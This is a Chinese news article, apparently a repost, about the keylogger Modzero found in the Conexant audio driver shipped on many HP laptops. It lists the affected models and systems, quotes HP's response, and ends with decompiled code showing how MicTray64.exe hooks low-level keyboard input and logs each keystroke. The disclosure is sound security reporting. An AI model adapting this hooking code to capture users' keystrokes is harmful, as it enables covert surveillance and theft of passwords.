赤峰打印机价格协会

国家已发通报!惠普笔记本存在隐藏键盘记录器

EMLab攻防实验室2019-05-21 07:21:02

近期,人们都在热议着肆虐全球的“永恒之蓝”勒索蠕虫病毒,感慨着防不胜防的信息安全问题。几乎是在同一时间,来自瑞士安全公司Modzero的安全研究人员指出,全球PC巨头惠普在音频驱动程序中发了一个内置的键盘记录器,可以窥探用户的所有按键输入信息。

该报告称,键盘记录器记录键盘上按下的每个键并记录该信息。然后将信息发送到中央来源。在恶意的情况下,这些信息用于窃取个人资料,如信用卡号码,社会安全号码,密码等等。而该键盘记录软件存在于 Conexant (科胜讯)提供的声卡驱动包里,该驱动包被预装在大量惠普笔记本中。

Modzero在报告中指出,胜讯是美国制造商出现的集成电路制造商。主要是开发视频和音频处理领域的电路。因此,科胜讯音频IC被安装在各种制造商的计算机的声卡上并不罕见。科胜讯还为其音频芯片开发驱动程序,使操作系统能够与硬件进行通信。“显然,有一些控制音频硬件的部件是非常具体的,并且取决于计算机型号,例如用于打开或关闭麦克风的特殊键或控制计算机上的记录LED。在这个代码中,它似乎是针对HP计算机而定制的,这个代码拦截和处理所有的键盘输入。”

Modzero报告中进一步指出,这种类型的调试将音频驱动程序有效地转换成键盘式间谍软件。根据文件的元信息,这个键盘记录器至少在2015年圣诞节前已经存在于惠普电脑上。

据悉,2015年,该键盘记录功能以新的诊断功能被引入HP音频驱动程序与新的1.0.0.46版本中,自此,近30款不同的惠普Windows笔记本机型上都内置了这种功能。

受影响的型号包括HP Elitebook 800系列、EliteBook Folio G1、HP ProBook 600和400系列等等。详细名单如下所示:

硬件产品型号(S)

HP EliteBook 820 G3 Notebook PC

HP EliteBook 828 G3 Notebook PC

HP EliteBook 840 G3 Notebook PC

HP EliteBook 848 G3 Notebook PC

HP EliteBook 850 G3 Notebook PC

HP ProBook 640 G2 Notebook PC

HP ProBook 650 G2 Notebook PC

HP ProBook 645 G2 Notebook PC

HP ProBook 655 G2 Notebook PC

HP ProBook 450 G3 Notebook PC

HP ProBook 430 G3 Notebook PC

HP ProBook 440 G3 Notebook PC

HP ProBook 446 G3 Notebook PC

HP ProBook 470 G3 Notebook PC

HP ProBook 455 G3 Notebook PC

HP EliteBook 725 G3 Notebook PC

HP EliteBook 745 G3 Notebook PC

HP EliteBook 755 G3 Notebook PC

HP EliteBook 1030 G1 Notebook PC

HP ZBook 15u G3 Mobile Workstation

HP Elite x2 1012 G1 Tablet

HP Elite x2 1012 G1 with Travel Keyboard

HP Elite x2 1012 G1 Advanced Keyboard

HP EliteBook Folio 1040 G3 Notebook PC

HP ZBook 17 G3 Mobile Workstation

HP ZBook 15 G3 Mobile Workstation

HP ZBook Studio G3 Mobile Workstation

HP EliteBook Folio G1 Notebook PC

操作系统(S)

Microsoft Windows 10 32

Microsoft Windows 10 64

Microsoft Windows 10 IOT Enterprise 32-Bit (x86)

Microsoft Windows 10 IOT Enterprise 64-Bit (x86)

Microsoft Windows 7 Enterprise 32 Edition

Microsoft Windows 7 Enterprise 64 Edition

Microsoft Windows 7 Home Basic 32 Edition

Microsoft Windows 7 Home Basic 64 Edition

Microsoft Windows 7 Home Premium 32 Edition

Microsoft Windows 7 Home Premium 64 Edition

Microsoft Windows 7 Professional 32 Edition

Microsoft Windows 7 Professional 64 Edition

Microsoft Windows 7 Starter 32 Edition

Microsoft Windows 7 Ultimate 32 Edition

Microsoft Windows 7 Ultimate 64 Edition

Microsoft Windows Embedded Standard 7 32

Microsoft Windows Embedded Standard 7E 32-Bit

研究人员还警告称,“可能其它配置了Conexant硬件和驱动程序的硬件供应商”也会受此安全问题影响。

与在国内媒体对此事态度相对平静不同,惠普预装流氓软件事件,国外多家网络媒体发声,引起业内热议(歪果仁确实要比我们信息安全意识高啊!)


面对讨伐,惠普方面也进行了及时的公关。不过惠普方面发文(题为HP : Modzero report on keylogger issue),也坐实此事!文中,惠普方面承认,在5月初早些时候了解到这一点时,其网络安全小组立即调查了这个问题,发现了根本原因,并努力解决问题。“正如Modzero的报告所述,Conexant HD音频驱动程序包中已经有一个键盘记录器功能,它预装在一些HP PC上。此功能由Conexant在开发过程中创建,以帮助调试音频问题。添加调试代码是开发过程的正常部分,这些代码应该被删除,从未包含在市售产品中。

不幸的是,在这种情况下,科胜讯并没有删除代码。目前,惠普已经发文表示向客户提供的最佳建议是安装更新的驱动程序包。如果您是消费者客户或没有专门IT团队的企业,我们建议您使用Windows Update来自动更新您的电脑。对于拥有专门IT部门的客户,请从HP.com下载Softpak,并随时更新驱动程序包。 鉴于此问题的性质,我们的建议是尽快部署此更新。”

按照惠普的解释,作为全球PC巨头,对于2015年就存在的信息安全问题两年后才发现,不免让平实也不太关注个人信息安全的笔者和身边的小伙伴惊呆了。

众所周知,能冠上“中”字头的企业并不多,而中国惠普就是其中一个。中国惠普的由来可自行度娘。

据笔者所知,不少公务员也在用着惠普的PC设备,此次惠普预装流氓软件事件显然没有引起公务员群体和当局的重视,信息隐患细思恐极。不过,笔者了解到,近期某部委下属网络安全和信息化领导小组办公室已经发布公告通报了惠普电脑存在隐藏键盘记录器问题。

MicTray64.exe 1.0.0.46版本进行击键记录的具体过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int64 keylogger_enable(bool activate)
{
[...]
if ( !keylogger_active )
{
[...]
// 13=WH_KEYBOARD_LL: Installs a hook procedure that
  // monitors low-level keyboard input events. For
  // more information, see the LowLevelKeyboardProc
  // hook procedure.
  hKeyloggerHook = SetWindowsHookExW(
  13, (HOOKPROC)handle_scancode,
  hSelf,
  0);
 
  if ( hKeyloggerHook )
  {
 keylogger_active = 1;
 return 0;
  }

记录功能激活之后,用户每按一次键盘,就会触发以下代码执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
LRESULT handle_scancode(
int _in_nCode,
WPARAM _in_wParam,
tagKBDLLHOOKSTRUCT *_in_lParam_keystroke)
{
 tagKBDLLHOOKSTRUCT *key_stroke;
 WPARAM wParam;
 int nCode;
 int64 target;
 DWORD is_keyfoo;
 int is_keydown;
 char tmp;
 int64 key_flags;
 int64 key_vk;
 key_stroke   = _in_lParam_keystroke;
 wParam    = _in_wParam;
 nCode  = _in_nCode;
if ( _in_nCode >= 0 )
 {
target = (cfg_HotKeyMicScancode >> 8 *
  (cfg_HotKeyMicScancode_len - cfg_HotKeyMicScancode_len2));
LODWORD(key_vk)  = _in_lParam_keystroke->vkCode;
LODWORD(key_flags)  = _in_lParam_keystroke->flags;
is_keyfoo     = _in_lParam_keystroke->flags & 1;
is_keydown    = ~(key_flags >> 7) & 1;
[*] send_to_dbglog(
  0x1D,
  L"Mic target 0x%x scancode 0x%x flags 0x%x extra 0x%x vk 0x%x\n",
  target,
  _in_lParam_keystroke->scanCode,
  key_flags,
  _in_lParam_keystroke->dwExtraInfo,
  key_vk);
conexant_handle_fn_keys(
  cfg_MicMuteScancodeSettings,
  is_keydown,
  key_stroke->scanCode,
  target,
  &cfg_HotKeyMicScancode_len,
  &cfg_HotKeyMicScancode_len2,
  1);
if ( cfg_MicMuteScancodeSettings & 4 )
  conexant_handle_fn_keys(
 cfg_MicMuteScancodeSettings,
 is_keydown,
 key_stroke->scanCode,
 (cfg_HotKeyMicScancode2 >> 8 *
  (cfg_HotKeyMicScancode2_len - cfg_HotKeyMicScancode2_len2)),
 &cfg_HotKeyMicScancode2_len,
 &cfg_HotKeyMicScancode2_len2,
 1);
tmp = cfg_SpkMuteScancodeSettings;
if ( cfg_SpkMuteScancodeSettings & 8 && is_keyfoo
  || !(cfg_SpkMuteScancodeSettings & 8) )
{
  conexant_handle_fn_keys(
 cfg_SpkMuteScancodeSettings,
 is_keydown,
 key_stroke->scanCode,
 (cfg_HotKeySpkScancode >> 8 *
  (cfg_HotKeySpkScancode_len - cfg_HotKeySpkScancode_len2)),
 &dword_1402709C8,
 &dword_1402709CC,
 0);
  tmp = cfg_SpkMuteScancodeSettings;
}
if ( tmp & 4 && (tmp & 8 && is_keyfoo || !(tmp & 8)) )
  conexant_handle_fn_keys(
 tmp,
 is_keydown,
 key_stroke->scanCode,
 (cfg_HotKeySpkScancode2 >> 8 *
  (cfg_HotKeySpkScancode2_len - cfg_HotKeySpkScancode2_len2)),
 &cfg_HotKeySpkScancode2_len,
 &cfg_HotKeySpkScancode2_len2,
 0);
 }
return CallNextHookEx(hhk, nCode, wParam, key_stroke);
}